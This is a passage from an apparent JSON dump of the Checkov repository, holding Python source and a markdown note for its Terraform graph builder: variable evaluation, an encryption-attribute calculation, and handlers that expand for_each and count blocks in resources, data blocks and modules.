variables_evaluations: Dict[str, Dict[str, Any]], entity_context_path: List[str]\n    ) -> Dict[str, Any]:\n        \"\"\"\n        Reduce variable evaluations only to variables that are included in the entity's code block\n        :param variables_evaluations:\n        :param entity_context_path:\n        :return: the variable evaluations of the entity\n        \"\"\"\n        entity_evaluations: Dict[str, Any] = {}\n        for var_name, variable_evaluations in variables_evaluations.items():\n            entity_definitions = []\n            for var_definition in variable_evaluations[\"definitions\"]:\n                var_context_path, _ = BaseVariableEvaluation.extract_context_path(var_definition[\"definition_path\"])\n                variable_context_path = var_context_path.split(\"/\")\n                # This is due to inconsistency in order of Terraform entity naming conventions\n                if set(variable_context_path) == set(entity_context_path):\n                    entity_definitions.append(var_definition)\n            if entity_definitions:\n                entity_evaluation = variables_evaluations[var_name]\n                entity_evaluation[\"definitions\"] = entity_definitions\n                dpath.new(entity_evaluations, var_name, entity_evaluation)\n        return entity_evaluations\n"
  },
  {
    "path": "checkov/terraform/graph_builder/EncryptionCalculation.md",
    "content": "# Custom Encryption Attribute Calculation\nWhen building queries, we noticed we were constantly asking a common question - _Is the resource encrypted?_\n\nTo avoid having to know the correct configuration of each resource, and to make queries more concise, we decided to add\n`encryption` as a custom attribute to the relevant resource types. You can skip directly to:\n1. [Overview](#overview)\n2. [Example usage](#example-usage)\n3. [Contributing](#contributing-to-extend-coverage)\n\n## Overview\nTo support the different configurations of the different terraform resources with encryption, we've created 2 important\nobjects defined [here](./graph_components/generic_resource_encryption.py):\n1. `GenericResourceEncryption` - this class executes the configuration logic based on the constructor parameters\n   to decide whether the resource is encrypted or not.\n2. `ENCRYPTION_BY_RESOURCE_TYPE` - a map of <resource_type, GenericResourceEncryption<resource_type>>. This means that\n   for every resource type (i.e. `aws_s3_bucket`, `aws_rds_cluster` etc) there's either an entry in this map or there \n   isn't. If there is an entry - the GenericResourceEncryption class will decide whether it is encrypted according to\n   the [calculation logic](#calculation-logic). If there is no entry - the attribute will not exist for that resource \n   type.\n   \n\n### Calculation Logic\nENCRYPTION_BY_RESOURCE_TYPE receives as a second parameter a dict, consisting of the attribute paths as keys & the \npossible matching values as value list, i.e.:\n```python\n{\n    \"encrypt_at_rest.enabled\": [True],\n    \"kms_key_id\": [],\n    \"node_to_node_encryption.enabled\": [True]\n}\n```\nPlease note the empty list is supported - it means ANY. So in the case above, if the attribute `kms_key_id` exists in \nthe resource it will be marked as encrypted, no matter what the actual value is for `kms_key_id`. However, we do expect\n`encrypt_at_rest.enabled` to be set to `True` - otherwise it will be marked as unencrypted.\n\n##Example Usage\nThis field can be leveraged in policies, i.e. query the field `encryption_` for the strings \"ENCRYPTED\" / \"UNENCRYPTED\".\nExample [query](../../../tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/EncryptedResources.yaml), \nand the expected resources can be found in the matching [test-case on line 22 here](../../../tests/terraform/graph/checks_infra/attribute_solvers/equals_solver/test_solver.py).\n\n## Contributing to Extend Coverage\nTo add support for a new resource type, for example `foo_bar`, a new entry needs to be added to \n`ENCRYPTION_BY_RESOURCE_TYPE`, which maps the resource type string to an instance of `GenericResourceEncryption`.\nThe constructor first parameter is the resource type, and the second is the dict as described in the \n[calculation logic](#calculation-logic)\n"
  },
  {
    "path": "checkov/terraform/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/abstract_handler.py",
    "content": "from __future__ import annotations\n\nimport abc\nimport json\nimport re\nimport typing\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.terraform.graph_builder.foreach.consts import COUNT_STRING, FOREACH_STRING, COUNT_KEY, EACH_VALUE, \\\n    EACH_KEY, REFERENCES_VALUES\nfrom checkov.terraform.graph_builder.foreach.utils import append_virtual_resource\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\nfrom checkov.terraform.graph_builder.variable_rendering.evaluate_terraform import evaluate_terraform\nfrom checkov.terraform.graph_builder.variable_rendering.renderer import TerraformVariableRenderer\n\nif typing.TYPE_CHECKING:\n    from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\n\nclass ForeachAbstractHandler:\n    def __init__(self, local_graph: TerraformLocalGraph) -> None:\n        self.local_graph = local_graph\n\n    @abc.abstractmethod\n    def handle(self, resources_blocks: list[int]) -> None:\n        pass\n\n    @abc.abstractmethod\n    def _create_new_foreach_resource(self, block_idx: int, foreach_idx: int, main_resource: TerraformBlock,\n                                     new_key: int | str, new_value: int | str) -> str | None:\n        pass\n\n    @abc.abstractmethod\n    def _create_new_resources_count(self, statement: int, block_idx: int) -> None:\n        pass\n\n    def _create_new_resources_foreach(self, statement: list[str] | dict[str, Any], block_idx: int) -> None:\n        main_resource = self.local_graph.vertices[block_idx]\n        virtual_resources_names: list[str] = []\n        if isinstance(statement, list):\n            for i, new_value in enumerate(statement):\n                append_virtual_resource(\n                    self._create_new_foreach_resource(block_idx, i, main_resource, new_key=new_value,\n                                                      new_value=new_value), virtual_resources_names)\n        if isinstance(statement, dict):\n            for i, (new_key, new_value) in enumerate(statement.items()):\n                append_virtual_resource(\n                    self._create_new_foreach_resource(block_idx, i, main_resource, new_key, new_value),\n                    virtual_resources_names)\n        if env_vars_config.RAW_TF_IN_GRAPH_ENV:\n            main_resource.config[CustomAttributes.VIRTUAL_RESOURCES] = virtual_resources_names\n            self.local_graph.vertices.append(main_resource)\n\n    @staticmethod\n    def _render_sub_graph(sub_graph: TerraformLocalGraph, blocks_to_render: list[int]) -> None:\n        renderer = TerraformVariableRenderer(sub_graph)\n        renderer.vertices_index_to_render = blocks_to_render\n        renderer.render_variables_from_local_graph()\n\n    def _build_sub_graph(self, blocks_to_render: list[int]) -> TerraformLocalGraph:\n        from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\n        sub_graph = TerraformLocalGraph(self.local_graph.module)\n        sub_graph.vertices = [{}] * len(self.local_graph.vertices)  # type:ignore[list-item]  # are correctly set in the next lines\n        for i, block in enumerate(self.local_graph.vertices):\n            if not (block.block_type == BlockType.RESOURCE and i not in blocks_to_render):\n                sub_graph.vertices[i] = pickle_deepcopy(block)\n        sub_graph.edges = [\n            edge for edge in self.local_graph.edges if\n            (sub_graph.vertices[edge.dest] and sub_graph.vertices[edge.origin])\n        ]\n        sub_graph.in_edges = self.local_graph.in_edges\n        sub_graph.out_edges = self.local_graph.out_edges\n        return sub_graph\n\n    @staticmethod\n    def _pop_foreach_attrs(attrs: dict[str, Any]) -> None:\n        attrs.pop(COUNT_STRING, None)\n        attrs.pop(FOREACH_STRING, None)\n\n    @staticmethod\n    def __update_str_attrs(attrs: dict[str, Any], key_to_change: str, val_to_change: str | dict[str, Any],\n                           k: str) -> bool:\n        if key_to_change not in attrs[k]:\n            return False\n        if attrs[k] == \"${\" + key_to_change + \"}\":\n            attrs[k] = val_to_change\n            return True\n        elif f\"{key_to_change}.\" in attrs[k] and isinstance(val_to_change, dict):\n            key = attrs[k].replace(\"}\", \"\").split('.')[-1]\n            attrs[k] = val_to_change.get(key)\n            return True\n        else:\n            attrs[k] = attrs[k].replace(\"${\" + key_to_change + \"}\", str(val_to_change))\n            attrs[k] = attrs[k].replace(key_to_change, str(val_to_change))\n            return True\n\n    @staticmethod\n    def _build_key_to_val_changes(main_resource: TerraformBlock, new_val: str | int, new_key: str | int | None) \\\n            -> dict[str, str | int | None]:\n        if main_resource.attributes.get(COUNT_STRING):\n            return {COUNT_KEY: new_val}\n\n        return {\n            EACH_VALUE: new_val,\n            EACH_KEY: new_key\n        }\n\n    def _update_foreach_attrs(self, config_attrs: dict[str, Any], key_to_val_changes: dict[str, Any],\n                              new_resource: TerraformBlock) -> None:\n        self._pop_foreach_attrs(new_resource.attributes)\n        self._pop_foreach_attrs(config_attrs)\n        self._update_attributes(new_resource.attributes, key_to_val_changes)\n        foreach_attrs = self._update_attributes(config_attrs, key_to_val_changes)\n        new_resource.foreach_attrs = foreach_attrs\n\n    def _update_attributes(self, attrs: dict[str, Any], key_to_val_changes: dict[str, Any]) -> list[str]:\n        foreach_attributes: list[str] = []\n        for key_to_change, val_to_change in key_to_val_changes.items():\n            for k, v in attrs.items():\n                v_changed = False\n                if isinstance(v, str):\n                    v_changed = self.__update_str_attrs(attrs, key_to_change, val_to_change, k)\n                elif isinstance(v, dict):\n                    nested_attrs = self._update_attributes(v, {key_to_change: val_to_change})\n                    foreach_attributes.extend([k + '.' + na for na in nested_attrs])\n                elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], dict):\n                    nested_attrs = self._update_attributes(v[0], {key_to_change: val_to_change})\n                    foreach_attributes.extend([k + '.' + na for na in nested_attrs])\n                elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], str) and key_to_change in v[0]:\n                    if attrs[k][0] == \"${\" + key_to_change + \"}\":\n                        attrs[k][0] = val_to_change\n                        v_changed = True\n                    elif f\"{key_to_change}.\" in attrs[k][0] and isinstance(val_to_change, dict):\n                        for inner_key, inner_value in val_to_change.items():\n                            str_to_replace = f\"{key_to_change}.{inner_key}\"\n                            if str_to_replace in attrs[k][0]:\n                                dollar_wrapped_str_to_replace = \"${\" + str_to_replace + \"}\"\n                                if attrs[k][0] == dollar_wrapped_str_to_replace:\n                                    attrs[k][0] = inner_value\n                                    v_changed = True\n                                    # Since we assigned a value to attrs[k][0] we don't need to check the value again for\n                                    # interpolations to replace, we can break out of the loop\n                                    break\n                                elif dollar_wrapped_str_to_replace in attrs[k][0]:\n                                    str_to_replace = dollar_wrapped_str_to_replace\n                                attrs[k][0] = attrs[k][0].replace(str_to_replace, str(inner_value))\n                                v_changed = True\n                    else:\n                        attrs[k][0] = attrs[k][0].replace(\"${\" + key_to_change + \"}\", str(val_to_change))\n                        if self.need_to_add_quotes(attrs[k][0], key_to_change):\n                            attrs[k][0] = attrs[k][0].replace(key_to_change, f'\"{str(val_to_change)}\"')\n                        else:\n                            attrs[k][0] = attrs[k][0].replace(key_to_change, str(val_to_change))\n                        v_changed = True\n                elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], list):\n                    for i, item in enumerate(v):\n                        if isinstance(item, str) and (key_to_change in item or \"${\" + key_to_change + \"}\" in item):\n                            if v[i] == \"${\" + key_to_change + \"}\":\n                                v[i] = val_to_change\n                                v_changed = True\n                            else:\n                                v[i] = item.replace(\"${\" + key_to_change + \"}\", str(val_to_change))\n                                v[i] = v[i].replace(key_to_change, str(val_to_change))\n                                v_changed = True\n                if v_changed:\n                    foreach_attributes.append(k)\n        return foreach_attributes\n\n    @staticmethod\n    def _update_block_name_and_id(block: TerraformBlock, idx: int | str) -> str:\n        # Note it is important to use `\\\"` inside the string,\n        # as the string `[\"` is the separator for `foreach` in terraform.\n        # In `count` it is just `[`\n        idx_with_separator = f'\\\"{idx}\\\"' if isinstance(idx, str) else f'{idx}'\n        new_block_id = f\"{block.id}[{idx_with_separator}]\"\n        new_block_name = f\"{block.name}[{idx_with_separator}]\"\n\n        if block.block_type == BlockType.MODULE:\n            block.config[new_block_name] = block.config.pop(block.name)\n        block.id = new_block_id\n        block.name = new_block_name\n        return idx_with_separator\n\n    def _handle_static_statement(self, block_index: int, sub_graph: TerraformLocalGraph | None = None) -> \\\n            list[str] | dict[str, Any] | int | None:\n        attrs = self.local_graph.vertices[block_index].attributes if not sub_graph \\\n            else sub_graph.vertices[block_index].attributes\n        foreach_statement = attrs.get(FOREACH_STRING)\n        count_statement = attrs.get(COUNT_STRING)\n        if foreach_statement:\n            return self._handle_static_foreach_statement(foreach_statement)\n        if count_statement:\n            return self._handle_static_count_statement(count_statement)\n        return None\n\n    def _handle_static_foreach_statement(self, statement: list[str] | dict[str, Any]) \\\n            -> list[str] | dict[str, Any] | None:\n        if isinstance(statement, list):\n            statement = self.extract_from_list(statement)\n        evaluated_statement = evaluate_terraform(statement)\n        if isinstance(evaluated_statement, str):\n            try:\n                evaluated_statement = json.loads(evaluated_statement)\n            except ValueError:\n                pass\n        if isinstance(evaluated_statement, set):\n            evaluated_statement = list(evaluated_statement)\n        if isinstance(evaluated_statement, (dict, list)) and all(isinstance(val, str) for val in evaluated_statement):\n            return evaluated_statement\n        return None\n\n    def _handle_static_count_statement(self, statement: list[str] | int) -> int | None:\n        if isinstance(statement, list):\n            statement = self.extract_from_list(statement)\n        evaluated_statement = evaluate_terraform(statement)\n        if isinstance(evaluated_statement, int):\n            return evaluated_statement\n        return None\n\n    def _is_static_foreach_statement(self, statement: str | list[str] | dict[str, Any]) -> bool:\n        if isinstance(statement, list):\n            if len(statement) == 1 and not statement[0]:\n                return True\n            statement = self.extract_from_list(statement)\n        if isinstance(statement, str) and re.search(REFERENCES_VALUES, statement):\n            return False\n        if isinstance(statement, (list, dict)):\n            result = True\n            for s in statement:\n                result &= self._is_static_foreach_statement(s)\n            return result\n        return True\n\n    def _is_static_count_statement(self, statement: list[str] | int) -> bool:\n        if isinstance(statement, list):\n            statement = self.extract_from_list(statement)\n        if isinstance(statement, int):\n            return True\n        if isinstance(statement, str) and not re.search(REFERENCES_VALUES, statement):\n            return True\n        return False\n\n    def _is_static_statement(self, block_index: int, sub_graph: TerraformLocalGraph | None = None) -> bool:\n        \"\"\"\n        foreach statement can be list/map of strings or map, if its string we need to render it for sure.\n        \"\"\"\n        block = self.local_graph.vertices[block_index] if not sub_graph else sub_graph.vertices[block_index]\n        foreach_statement = evaluate_terraform(block.attributes.get(FOREACH_STRING))\n        count_statement = evaluate_terraform(block.attributes.get(COUNT_STRING))\n        if foreach_statement:\n            return self._is_static_foreach_statement(foreach_statement)\n        if count_statement:\n            return self._is_static_count_statement(count_statement)\n        return False\n\n    @staticmethod\n    def extract_from_list(val: Any) -> Any:\n        return val[0] if len(val) == 1 and isinstance(val[0], (str, int, list)) else val\n\n    @staticmethod\n    def need_to_add_quotes(code: str, key: str) -> bool:\n        if \"lower\" in code or \"upper\" in code:\n            patterns = (r'lower\\(' + key + r'\\)', r'upper\\(' + key + r'\\)')\n            for pattern in patterns:\n                if re.search(pattern, code):\n                    return True\n\n        if f'[{key}]' in code:\n            return True\n\n        return False\n"
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/builder.py",
    "content": "from __future__ import annotations\n\nimport typing\n\nfrom checkov.terraform.graph_builder.foreach.data_handler import ForeachDataHandler\nfrom checkov.terraform.graph_builder.foreach.module_handler import ForeachModuleHandler\nfrom checkov.terraform.graph_builder.foreach.resource_handler import ForeachResourceHandler\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\n\nif typing.TYPE_CHECKING:\n    from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\n\nclass ForeachBuilder:\n    def __init__(self, local_graph: TerraformLocalGraph):\n        self._resource_handler = ForeachResourceHandler(local_graph)\n        self._module_handler = ForeachModuleHandler(local_graph)\n        self._data_handler = ForeachDataHandler(local_graph)\n\n    def handle(self, foreach_blocks: dict[str, list[int]]) -> None:\n        \"\"\"\n        First Data blocks that Modules can inherit from are handled.\n        Second, Module blocks are handled.\n        Last Resource blocks that can be duplicate by the Modules rendering.\n        \"\"\"\n        if self._data_handler.local_graph.enable_datas_foreach_handling:\n            if foreach_blocks.get(BlockType.DATA):\n                self._data_handler.handle(foreach_blocks[BlockType.DATA])\n                self._data_handler.local_graph._arrange_graph_data()\n                self._data_handler.local_graph._build_edges()\n        if self._module_handler.local_graph.enable_modules_foreach_handling:\n            if foreach_blocks.get(BlockType.MODULE):\n                self._module_handler.handle(foreach_blocks[BlockType.MODULE])\n        if self._module_handler.local_graph.enable_foreach_handling:\n            self._resource_handler.handle(foreach_blocks.get(BlockType.RESOURCE, []))\n"
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/consts.py",
    "content": "from __future__ import annotations\n\nfrom typing import Optional, Any, TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from typing_extensions import TypeAlias\n\nFOREACH_STRING = 'for_each'\nCOUNT_STRING = 'count'\nREFERENCES_VALUES = r\"(var|module|local)\\.\"\nFOR_EACH_BLOCK_TYPE: TypeAlias = \"dict[int, Optional[list[str] | dict[str, Any] | int]]\"\nCOUNT_KEY = 'count.index'\nEACH_KEY = 'each.key'\nEACH_VALUE = 'each.value'\nVIRTUAL_RESOURCE = 'virtual_resource'\n"
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/data_handler.py",
    "content": "from __future__ import annotations\n\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.foreach.foreach_entity_handler import ForeachEntityHandler\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\n\nclass ForeachDataHandler(ForeachEntityHandler):\n    def __init__(self, local_graph: TerraformLocalGraph) -> None:\n        super().__init__(local_graph, BlockType.DATA)\n"
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/foreach_entity_handler.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Any, Optional, TYPE_CHECKING\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.terraform.graph_builder.foreach.abstract_handler import ForeachAbstractHandler\nfrom checkov.terraform.graph_builder.foreach.consts import FOR_EACH_BLOCK_TYPE, FOREACH_STRING, COUNT_STRING\nfrom checkov.terraform.graph_builder.foreach.utils import append_virtual_resource\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\n\nif TYPE_CHECKING:\n    from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\n\nclass ForeachEntityHandler(ForeachAbstractHandler):\n    def __init__(self, local_graph: TerraformLocalGraph, block_type_to_handle: str) -> None:\n        super().__init__(local_graph)\n        self.block_type_to_handle = block_type_to_handle\n\n    def handle(self, resources_blocks: list[int]) -> None:\n        block_index_to_statement: FOR_EACH_BLOCK_TYPE = self._get_statements(resources_blocks)\n        self._create_new_resources(block_index_to_statement)\n\n    def _get_statements(self, resources_blocks: list[int]) -> FOR_EACH_BLOCK_TYPE:\n        if not resources_blocks:\n            return {}\n        block_index_to_statement: FOR_EACH_BLOCK_TYPE = {}\n        for block_index, block in enumerate(self.local_graph.vertices):\n            if block.block_type != self.block_type_to_handle or not (\n                    FOREACH_STRING in block.attributes or COUNT_STRING in block.attributes):\n                continue\n            foreach_statement = self._get_static_foreach_statement(block_index)\n            block_index_to_statement[block_index] = foreach_statement\n        blocks_to_render = [block_idx for block_idx, statement in block_index_to_statement.items() if statement is None]\n        if blocks_to_render:\n            rendered_statements: FOR_EACH_BLOCK_TYPE = self._handle_dynamic_statement(blocks_to_render)\n            block_index_to_statement.update(rendered_statements)\n        return block_index_to_statement\n\n    def _get_static_foreach_statement(self, block_index: int) -> Optional[list[str] | dict[str, Any] | int]:\n        attributes = self.local_graph.vertices[block_index].attributes\n        if not attributes.get(FOREACH_STRING) and not attributes.get(COUNT_STRING):\n            return None\n        try:\n            if self._is_static_statement(block_index):\n                return self._handle_static_statement(block_index)\n            else:\n                return None\n        except Exception as e:\n            logging.info(\n                f\"Cannot get foreach statement for block: {self.local_graph.vertices[block_index]}, error: {str(e)}\")\n            return None\n\n    def _handle_dynamic_statement(self, blocks_to_render: list[int]) -> FOR_EACH_BLOCK_TYPE:\n        rendered_statements_by_idx: FOR_EACH_BLOCK_TYPE = {}\n        sub_graph = self._build_sub_graph(blocks_to_render)\n        self._render_sub_graph(sub_graph, blocks_to_render)\n        for block_idx in blocks_to_render:\n            if not self._is_static_statement(block_idx, sub_graph):\n                rendered_statements_by_idx[block_idx] = None\n            else:\n                rendered_statements_by_idx[block_idx] = self._handle_static_statement(block_idx, sub_graph)\n        return rendered_statements_by_idx\n\n    def _create_new_resources_count(self, statement: int, block_idx: int) -> None:\n        main_resource = self.local_graph.vertices[block_idx]\n        virtual_resources_names: list[str] = []\n        for i in range(statement):\n            append_virtual_resource(self._create_new_resource(main_resource, i, resource_idx=block_idx, foreach_idx=i),\n                                    virtual_resources_names)\n        if env_vars_config.RAW_TF_IN_GRAPH_ENV:\n            main_resource.config[CustomAttributes.VIRTUAL_RESOURCES] = virtual_resources_names\n            self.local_graph.vertices.append(main_resource)\n\n    def _create_new_foreach_resource(self, block_idx: int, foreach_idx: int, main_resource: TerraformBlock,\n                                     new_key: int | str, new_value: int | str) -> str | None:\n        return self._create_new_resource(main_resource, new_value, new_key=new_key, resource_idx=block_idx,\n                                         foreach_idx=foreach_idx)\n\n    def _create_new_resource(\n            self,\n            main_resource: TerraformBlock,\n            new_value: int | str,\n            resource_idx: int,\n            foreach_idx: int,\n            new_key: int | str | None = None,\n    ) -> str | None:\n        new_resource = pickle_deepcopy(main_resource)\n        block_type, block_name = new_resource.name.split('.')\n        key_to_val_changes = self._build_key_to_val_changes(main_resource, new_value, new_key)\n        config_attrs = new_resource.config.get(block_type, {}).get(block_name, {})\n\n        self._update_foreach_attrs(config_attrs, key_to_val_changes, new_resource)\n        idx_to_change = new_key or new_value\n        self._add_index_to_resource_block_properties(new_resource, idx_to_change)\n        if foreach_idx == 0:\n            self.local_graph.vertices[resource_idx] = new_resource\n        else:\n            self.local_graph.vertices.append(new_resource)\n\n        if env_vars_config.RAW_TF_IN_GRAPH_ENV:\n            return new_resource.name\n\n        return None\n\n    @staticmethod\n    def _add_index_to_resource_block_properties(block: TerraformBlock, idx: str | int) -> None:\n        block_type, block_name = block.name.split('.')\n        idx_with_separator = ForeachEntityHandler._update_block_name_and_id(block, idx)\n        if block.config.get(block_type) and block.config.get(block_type, {}).get(block_name):\n            block.config[block_type][f\"{block_name}[{idx_with_separator}]\"] = block.config[block_type].pop(block_name)\n\n    def _create_new_resources(self, block_index_to_statement: FOR_EACH_BLOCK_TYPE) -> None:\n        for block_idx, statement in block_index_to_statement.items():\n            if not statement:\n                continue\n            if isinstance(statement, int):\n                self._create_new_resources_count(statement, block_idx)\n            else:\n                self._create_new_resources_foreach(statement, block_idx)\n"
  },
  {
    "path": "checkov/terraform/graph_builder/foreach/module_handler.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport typing\nfrom collections import defaultdict\nfrom typing import Any\nimport json\n\nfrom checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.terraform import TFModule, TFDefinitionKey\nfrom checkov.terraform.graph_builder.foreach.abstract_handler import ForeachAbstractHandler\nfrom checkov.terraform.graph_builder.foreach.consts import FOREACH_STRING, COUNT_STRING\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\n\nif typing.TYPE_CHECKING:\n    from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\n\nclass ForeachModuleHandler(ForeachAbstractHandler):\n    def __init__(self, local_graph: TerraformLocalGraph):\n        super().__init__(local_graph)\n\n    def handle(self, modules_blocks: list[int]) -> None:\n        \"\"\"\n        modules_blocks (list[int]): list of module blocks indexes in the graph that contains for_each / counts.\n        \"\"\"\n        if not modules_blocks:\n            return\n        current_level: list[TFModule | None] = [None]\n        # We use `[:]` instead of deepcopy as it's much faster and the list has only primitive types (int indexes)\n        main_module_modules = self.local_graph.vertices_by_module_dependency[None][BlockType.MODULE][:]\n        modules_to_render = main_module_modules\n\n        while modules_to_render:\n            modules_to_render = self._render_foreach_modules_by_levels(modules_blocks, modules_to_render, current_level)\n            self.local_graph._arrange_graph_data()\n            self.local_graph._build_edges()\n\n    def _render_foreach_modules_by_levels(self, modules_blocks: list[int], modules_to_render: list[int],\n                                          current_level: list[TFModule | None]) -> list[int]:\n        \"\"\"\n        modules_blocks: The module blocks with for_each/count statement in the graph.\n        modules_to_render: The list of modules indexes to render at this iteration.\n        current_level: The parent current level that we are running on this iteration (first will be None).\n\n        return: the next (list) of the modules to render.\n\n        For example: at this folder - tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach\n        We will run over the levels by:\n        First level -> s3_module and s3_module2 (Copying the module and all his dependencies)\n        Second level -> inner_s3_module and inner_s3_module2 (Copying the module and all his dependencies)\n        This will generate a graph with 20 modules and 16 resources.\n        \"\"\"\n        sub_graph = self._build_sub_graph(modules_blocks)\n        self._render_sub_graph(sub_graph, blocks_to_render=modules_blocks)\n        for module_idx in modules_to_render:\n            module_block = self.local_graph.vertices[module_idx]\n            for_each = module_block.attributes.get(FOREACH_STRING)\n            count = module_block.attributes.get(COUNT_STRING)\n            if for_each:\n                for_each = self._handle_static_statement(module_idx, sub_graph)\n                if not for_each or not self._is_static_statement(module_idx, sub_graph):\n                    continue\n                if isinstance(for_each, (list, dict)):\n                    self._duplicate_module_with_for_each(module_idx, for_each)\n            elif count:\n                count = self._handle_static_statement(module_idx, sub_graph)\n                if not count or not self._is_static_statement(module_idx, sub_graph):\n                    continue\n                if isinstance(count, int):\n                    self._duplicate_module_with_count(module_idx, count)\n        return self._get_modules_to_render(current_level)\n\n    def _duplicate_module_with_for_each(self, module_idx: int, for_each: dict[str, Any] | list[str]) -> None:\n        self._create_new_resources_foreach(for_each, module_idx)\n\n    def _duplicate_module_with_count(self, module_idx: int, count: int) -> None:\n        self._create_new_resources_count(count, module_idx)\n\n    def _get_rendered_modules(self, source_modules: list[TFModule | None]) -> list[int]:\n        \"\"\"\n        Returns a list of module indexes that have been rendered in the current iteration.\n        \"\"\"\n        modules_created_by_provided_source_packed = [self.local_graph.vertices_by_module_dependency[curr][BlockType.MODULE] for curr in source_modules]\n        modules_created_by_provided_source = list(itertools.chain(*modules_created_by_provided_source_packed))  # list of lists -> single list\n        return modules_created_by_provided_source\n\n    def _get_modules_to_render(self, current_level: list[TFModule | None]) -> list[int]:\n        rendered_modules = self._get_rendered_modules(current_level)\n        current_level.clear()\n        for m_idx in rendered_modules:\n            current_level.append(self._get_current_tf_module_object(m_idx))\n        modules_to_render = [self.local_graph.vertices_by_module_dependency[curr][BlockType.MODULE] for curr in current_level]\n        return list(itertools.chain.from_iterable(modules_to_render))\n\n    def _get_current_tf_module_object(self, m_idx: int) -> TFModule:\n        m = self.local_graph.vertices[m_idx]\n        m_name = m.name.split('[')[0]\n        return TFModule(m.path, m_name, m.source_module_object, m.for_each_index)\n\n    def _create_new_resources_foreach(self, statement: list[str] | dict[str, Any], block_idx: int) -> None:\n        # Important it will be before the super call to avoid changes occurring from super\n        main_resource = self.local_graph.vertices[block_idx]\n        super()._create_new_resources_foreach(statement, block_idx)\n\n        if isinstance(statement, list):\n            for i, new_value in enumerate(statement):\n                should_override = True if i == 0 else False\n                self._update_module_children(main_resource, new_value, should_override_foreach_key=should_override)\n        elif isinstance(statement, dict):\n            for i, (new_key, _) in enumerate(statement.items()):\n                should_override = True if i == 0 else False\n                self._update_module_children(main_resource, new_key, should_override_foreach_key=should_override)\n\n    def _create_new_foreach_resource(self, block_idx: int, foreach_idx: int, main_resource: TerraformBlock,\n                                     new_key: int | str, new_value: int | str) -> None:\n        self._create_new_module(main_resource, new_value, new_key=new_key, resource_idx=block_idx,\n                                foreach_idx=foreach_idx)\n\n    def _update_module_children(self, main_resource: TerraformBlock,\n                                original_foreach_or_count_key: int | str,\n                                should_override_foreach_key: bool = True) -> None:\n        foreach_idx = original_foreach_or_count_key if not should_override_foreach_key else None\n        original_module_key = TFModule(path=main_resource.path, name=main_resource.name,\n                                       nested_tf_module=main_resource.source_module_object, foreach_idx=foreach_idx)\n        self._update_children_foreach_index(original_foreach_or_count_key, original_module_key,\n                                            should_override_foreach_key=should_override_foreach_key)\n\n    def _create_new_resources_count(self, statement: int, block_idx: int) -> None:\n        main_resource = self.local_graph.vertices[block_idx]\n        for i in range(statement):\n            self._create_new_module(main_resource, i, resource_idx=block_idx, foreach_idx=i)\n\n        # We purposely do it at the end to avoid influencing data structures in the middle of an update\n        for i in range(statement):\n            should_override = True if i == 0 else False\n            self._update_module_children(main_resource, i, should_override_foreach_key=should_override)\n\n    def _update_children_foreach_index(self, original_foreach_or_count_key: int | str, original_module_key: TFModule,\n                                       current_module_key: TFModule | None = None,\n                                       should_override_foreach_key: bool = True) -> None:\n        \"\"\"\n        Go through all child vertices and update source_module_object with foreach_idx\n        \"\"\"\n        if current_module_key is None:\n            current_module_key = original_module_key\n        if current_module_key not in self.local_graph.vertices_by_module_dependency:\n            # Make sure we check both the intended key (with foreach key) and the one without the foreach key.\n            # This is important as we have some iterations in which we try to access with the intended key before\n            # we actually updated the dict itself\n            nullified_key = self._get_tf_module_with_no_foreach(current_module_key)\n            if nullified_key not in self.local_graph.vertices_by_module_dependency:\n                return\n            current_module_key = nullified_key\n        values = self.local_graph.vertices_by_module_dependency[current_module_key].values()\n        for child_indexes in values:\n            for child_index in child_indexes:\n                child = self.local_graph.vertices[child_index]\n\n                child.source_module_object = self._get_module_with_only_relevant_foreach_idx(\n                    original_foreach_or_count_key, original_module_key, child.source_module_object)\n                self._update_resolved_entry_for_tf_definition(child, original_foreach_or_count_key, original_module_key)\n\n                # Important to copy to avoid changing the object by reference\n                child_source_module_object_copy = pickle_deepcopy(child.source_module_object)\n                if should_override_foreach_key and child_source_module_object_copy is not None:\n                    child_source_module_object_copy = self._get_tf_module_with_no_foreach(\n                        child_source_module_object_copy)\n\n                child_module_key = TFModule(path=child.path, name=child.name,\n                                            nested_tf_module=child_source_module_object_copy,\n                                            foreach_idx=child.for_each_index)\n                del child_source_module_object_copy\n                self._update_children_foreach_index(original_foreach_or_count_key, original_module_key,\n                                                    child_module_key)\n\n    @staticmethod\n   